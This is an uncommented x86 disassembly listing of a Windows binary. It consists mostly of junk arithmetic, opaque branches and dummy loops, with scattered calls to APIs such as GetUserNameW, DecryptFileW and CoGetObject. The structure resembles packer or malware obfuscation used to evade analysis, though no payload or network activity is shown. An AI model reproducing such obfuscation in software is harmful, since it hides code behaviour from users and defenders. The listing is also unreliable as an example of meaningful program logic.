mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 3], cl
movzx ecx, word [ebp - 0x18]
movzx edx, word [ebp - 0xb4]
sub ecx, edx
mov eax, dword [ebp - 0x48]
mov word [eax], cx
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x64]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
xor eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
movzx edx, byte [ebp - 5]
movzx eax, byte [ebp - 2]
or edx, eax
mov byte [ebp - 3], dl
movzx edx, word [ebp - 0xa4]
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x18], dx
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x60]
mov byte [edx], cl
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x60]
mov byte [ecx], al
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
add eax, dword [edx]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add edx, dword [ecx]
mov dword [ebp - 0x54], edx
movzx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], al
movzx edx, word [ebp - 0xb4]
movzx eax, word [ebp - 0x8c]
add edx, eax
mov ecx, dword [ebp - 0x48]
mov word [ecx], dx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x50]
and eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x50]
mov dword [ebp - 0x64], ecx
movzx edx, word [ebp - 0x8c]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x18], dx
movzx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 2], dl
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x24]
sar edx, cl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x50]
and ecx, dword [eax]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x7a8]
sub eax, 0x39
mov dword [ebp - 0x7a8], eax
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 1]
add ecx, edx
mov eax, dword [ebp - 0x88]
mov byte [eax], cl
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 1]
sub edx, eax
mov ecx, dword [ebp - 0x80]
mov byte [ecx], dl
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 5]
add eax, ecx
mov edx, dword [ebp - 0x90]
mov byte [edx], al
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18]
add ecx, edx
mov word [ebp - 0xb4], cx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x50]
and ecx, dword [eax]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x54]
mov dword [ebp - 0x24], eax
movzx edx, word [ebp - 0xb4]
movzx ecx, word [ebp - 0x8c]
sar edx, cl
mov word [ebp - 0x18], dx
movzx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], al
cmp dword [ebp - 0x7a8], 0xc3ae
ja 0x401f30
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x74]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x38]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x68]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7ac]
sub edx, 0xce
mov dword [ebp - 0x7ac], edx
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 2], cl
movzx ecx, word [ebp - 0xb4]
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xa4], cx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x28]
add edx, dword [eax]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], edx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx]
mov dword [ebp - 0x34], eax
movsx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x88]
mov byte [eax], dl
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 2]
sub eax, ecx
mov edx, dword [ebp - 0x90]
mov byte [edx], al
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8c]
and ecx, edx
mov eax, dword [ebp - 0x40]
mov word [eax], cx
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x68]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x5c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x54]
sar edx, cl
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x54]
add edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x8c], cx
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 3]
and edx, eax
mov ecx, dword [ebp - 0x90]
mov byte [ecx], dl
mov edx, dword [ebp - 0x64]
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
add edx, dword [ecx]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xa4]
add ecx, edx
mov eax, dword [ebp - 0x48]
mov word [eax], cx
cmp dword [ebp - 0x7ac], 0x4ff1
ja 0x4021ab
mov ecx, dword [ebp - 0x90]
mov dl, byte [ecx]
mov byte [ebp - 0xbfc], dl
cmp byte [ebp - 0xbfc], 0xdb
je 0x40236d
jmp 0x402408
push 0x95
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [ebp - 0xca4], eax
movzx eax, byte [ebp - 2]
movzx ecx, byte [ebp - 3]
sub eax, ecx
mov edx, dword [ebp - 0x90]
mov byte [edx], al
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xb4]
sub edx, ecx
cmp eax, edx
jge 0x4023c0
movsx edx, word [ebp - 0x14]
movsx ecx, word [ebp - 0xc]
sar edx, cl
mov word [ebp - 0x2c], dx
lea eax, [ebp - 0x1c]
push eax
push fcn.00416570
mov ecx, dword [ebp - 0x798]
push ecx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x488], eax
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 1]
or eax, ecx
mov edx, dword [ebp - 0x80]
mov byte [edx], al
mov eax, dword [ebp - 0x68]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x64]
shl edx, cl
mov dword [ebp - 0x50], edx
movzx eax, word [ebp - 0xc]
push eax
call fcn.00416570
add esp, 4
jmp 0x40243d
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x34]
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x7ec], 0x40d2
mov eax, dword [ebp - 0x40]
mov cx, word [eax]
mov word [ebp - 0x20], cx
lea edx, [ebp - 2]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x88]
mov cl, byte [eax]
mov byte [ebp - 0x958], cl
cmp byte [ebp - 0x958], 0
je 0x4024dc
cmp byte [ebp - 0x958], 0x19
je 0x402466
jmp 0x40256c
mov dl, byte [ebp - 1]
mov byte [ebp - 0x95c], dl
cmp byte [ebp - 0x95c], 1
je 0x402492
cmp byte [ebp - 0x95c], 4
je 0x402483
jmp 0x4024d7
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
jmp 0x4024d7
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x24]
add ecx, dword [eax]
mov dword [ebp - 0x34], ecx
lea edx, [ebp - 0xb48]
push edx
mov eax, dword [ebp - 0x2fc]
push eax
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x6b0], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xa4]
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x20], cx
jmp 0x40256c
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xb8]
mov byte [edx], cl
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0xc00], ecx
cmp dword [ebp - 0xc00], 0
je 0x402509
jmp 0x402563
movsx edx, word [ebp - 0x14]
mov dword [ebp - 0xc04], edx
cmp dword [ebp - 0xc04], 0x45ef
je 0x402521
jmp 0x402546
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x50]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x74]
mov dword [edx], ecx
lea eax, [ebp - 1]
push eax
mov ecx, dword [ebp - 0x3d4]
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0x98], eax
jmp 0x402561
lea edx, [ebp - 0x24]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov dword [ebp - 0x7c4], 0xf707
jmp 0x40256c
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x54]
mov dword [ebp - 0x34], edx
mov al, byte [ebp - 3]
mov byte [ebp - 0x960], al
cmp byte [ebp - 0x960], 0x39
je 0x4025c1
cmp byte [ebp - 0x960], 0x51
je 0x402589
jmp 0x402600
mov ecx, dword [ebp - 0x24]
xor ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x3c]
mov dword [edx], ecx
push 0x61
push 0xc8
push 0x89
mov eax, dword [ebp - 0x6ac]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0xea4], eax
movzx ecx, word [ebp - 0x14]
push ecx
call fcn.00416160
add esp, 4
jmp 0x402600
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x88]
mov byte [ecx], al
push 0xb5
mov edx, dword [ebp - 0x384]
push edx
call dword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x60]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 1], dl
mov ecx, dword [ebp - 0x60]
mov dl, byte [ecx]
mov byte [ebp - 0xc08], dl
cmp byte [ebp - 0xc08], 0
je 0x402619
jmp 0x4026c8
mov al, byte [ebp - 3]
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
mov dword [ebp - 0xc0c], edx
cmp dword [ebp - 0xc0c], 0
je 0x402639
jmp 0x4026b9
mov eax, dword [ebp - 0x48]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x20]
sar edx, cl
mov word [ebp - 0xa4], dx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x68]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x7b4], 0x4b44
lea eax, [ebp - 0x50]
mov dword [ebp - 0x94], eax
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x7c0], 0x191e
mov dword [ebp - 0x7b8], 0x2c85
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 3]
imul eax, ecx
mov byte [ebp - 2], al
mov dword [ebp - 0x7d4], 0xf3e8
lea edx, [ebp - 0x34]
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax]
mov dword [ebp - 0x98], ecx
jmp 0x4026c6
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
sub eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
jmp 0x402716
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov dword [ebp - 0x964], eax
cmp dword [ebp - 0x964], 0x417c37cd
je 0x4026fc
cmp dword [ebp - 0x964], 0x42961f75
je 0x4026ed
jmp 0x402716
movzx ecx, word [ebp - 0x2c]
push ecx
call fcn.00416570
add esp, 4
jmp 0x402716
lea edx, [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x384]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [ebp - 0x3f8], eax
movzx ecx, word [ebp - 0xa4]
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
sub ecx, eax
movzx edx, word [ebp - 0x20]
movzx eax, word [ebp - 0x18]
add edx, eax
cmp ecx, edx
jne 0x402835
movsx ecx, word [ebp - 0xc]
mov dword [ebp - 0xc10], ecx
cmp dword [ebp - 0xc10], 0x1ab2
je 0x402752
jmp 0x402825
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov dword [ebp - 0xc14], eax
cmp dword [ebp - 0xc14], 0
je 0x40276b
jmp 0x40280f
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x38]
add edx, dword [eax]
mov dword [ebp - 0x54], edx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x968], ecx
cmp dword [ebp - 0x968], 0
je 0x402798
cmp dword [ebp - 0x968], 0x7281fa4a
je 0x4027f6
jmp 0x40280d
movsx edx, word [ebp - 0x14]
mov dword [ebp - 0xc18], edx
cmp dword [ebp - 0xc18], 0xffffc187
je 0x4027b0
jmp 0x4027db
mov eax, dword [ebp - 0x40]
mov cx, word [eax]
mov word [ebp - 0x4c], cx
movzx edx, byte [ebp - 5]
movzx eax, byte [ebp - 4]
add edx, eax
mov byte [ebp - 2], dl
lea ecx, [ebp - 0x50]
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x54], edx
jmp 0x4027f4
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xb8]
mov byte [edx], cl
jmp 0x40280d
movzx eax, word [ebp - 0x14]
push eax
movzx ecx, byte [ebp - 4]
push ecx
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
push eax
call fcn.00415390
nop
jmp 0x402823
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 1], dl
jmp 0x402830
lea edx, [ebp - 5]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
nop
jmp 0x4028e3
mov eax, dword [ebp - 0x48]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xb4]
shl edx, cl
mov eax, dword [ebp - 0x6c]
mov word [eax], dx
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xc1c], ecx
cmp dword [ebp - 0xc1c], 0x55b76e26
je 0x402861
jmp 0x402883
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 5], dl
mov ecx, dword [ebp - 0x98]
xor ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0xa0]
mov dword [edx], ecx
jmp 0x4028e3
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xc20], eax
cmp dword [ebp - 0xc20], 0x748de4db
je 0x40289a
jmp 0x4028d8
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x34]
and edx, dword [ecx]
mov dword [ebp - 0x54], edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x384]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov dword [ebp - 0x3d0], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
jmp 0x4028e3
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
add eax, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
add edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x90]
mov byte [edx], cl
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x40]
mov word [edx], cx
mov eax, dword [ebp - 0x7b0]
add eax, 0x6a
mov dword [ebp - 0x7b0], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
and edx, dword [ebp - 0x24]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x98]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 2]
sar edx, cl
mov eax, dword [ebp - 0xb8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x6c]
mov word [eax], dx
movsx ecx, word [ebp - 0x14]
movsx edx, word [ebp - 0x2c]
or ecx, edx
mov word [ebp - 0xc], cx
mov eax, dword [ebp - 0x80]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 1], dl
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x50]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xb8]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], al
movzx edx, word [ebp - 0x8c]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x20], dx
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
add eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
add eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x58]
add eax, dword [ecx]
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x50]
and edx, dword [ebp - 0x98]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4c]
sub ecx, edx
mov eax, dword [ebp - 0x40]
mov word [eax], cx
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x34]
xor edx, dword [ebp - 0x54]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x54]
or eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x50]
shr edx, cl
mov eax, dword [ebp - 0xa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
and eax, dword [edx]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x88]
mov byte [eax], dl
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 1]
add edx, eax
mov ecx, dword [ebp - 0x60]
mov byte [ecx], dl
movzx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xb8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x20]
add edx, eax
mov ecx, dword [ebp - 0x6c]
mov word [ecx], dx
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x74]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x7b0], 0x7a82
jne 0x4028e3
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
mov dword [ebp - 0x96c], eax
cmp dword [ebp - 0x96c], 0xbb6
je 0x402b45
cmp dword [ebp - 0x96c], 0xd3a
je 0x402b29
jmp 0x402b6c
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x60]
movzx edx, byte [ecx]
push edx
call fcn.00415bb0
nop
jmp 0x402b6c
lea eax, [ebp - 0xedc]
push eax
push str.Sporadic_stiller_infrequency_Barony
call dword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [ebp - 0x36c], eax
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 3], cl
movsx ecx, word [ebp - 0x2c]
movsx edx, word [ebp - 0xc]
imul ecx, edx
movsx eax, word [ebp - 0x14]
cmp ecx, eax
je 0x415194
lea ecx, [ebp - 4]
mov dword [ebp - 0xd4], ecx
mov edx, dword [ebp - 0xd4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xb8]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 4]
add edx, ecx
cmp eax, edx
jge 0x402c44
mov dl, byte [ebp - 3]
mov byte [ebp - 0xc24], dl
cmp byte [ebp - 0xc24], 5
je 0x402bc8
jmp 0x402c29
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0x8c]
sar eax, cl
mov word [ebp - 0x20], ax
lea ecx, [ebp - 0x2fc]
push ecx
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [ebp - 0x514], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
or eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x34]
xor edx, dword [ebp - 0x24]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x60]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 1]
shl edx, cl
mov eax, dword [ebp - 0x80]
mov byte [eax], dl
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 1], dl
jmp 0x402c44
lea edx, [ebp - 0x54]
push edx
lea eax, [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x64]
push ecx
call dword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
mov dword [ebp - 0x36c], eax
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x18]
add eax, ecx
mov word [ebp - 0xb4], ax
movsx edx, word [ebp - 0x14]
mov dword [ebp - 0x970], edx
cmp dword [ebp - 0x970], 0x474
je 0x402c7e
cmp dword [ebp - 0x970], 0x48a9
je 0x402cea
jmp 0x402d23
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xd4]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xb8]
mov byte [edx], cl
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xc28], 0x49851e22
je 0x402cb1
jmp 0x402cd7
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
and edx, ecx
movzx eax, word [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
movzx ecx, word [ecx]
sub eax, ecx
cmp edx, eax
je 0x402cd5
call fcn.004157f0
nop
jmp 0x402ce8
mov edx, dword [ebp - 0x94]
mov eax, dword [edx]
add eax, dword [ebp - 0x98]
mov dword [ebp - 0x50], eax
jmp 0x402d23
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x74]
add edx, dword [eax]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], edx
call dword [sym.imp.ole32.dll_CoTestCancel]
mov dword [ebp - 0x36c], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
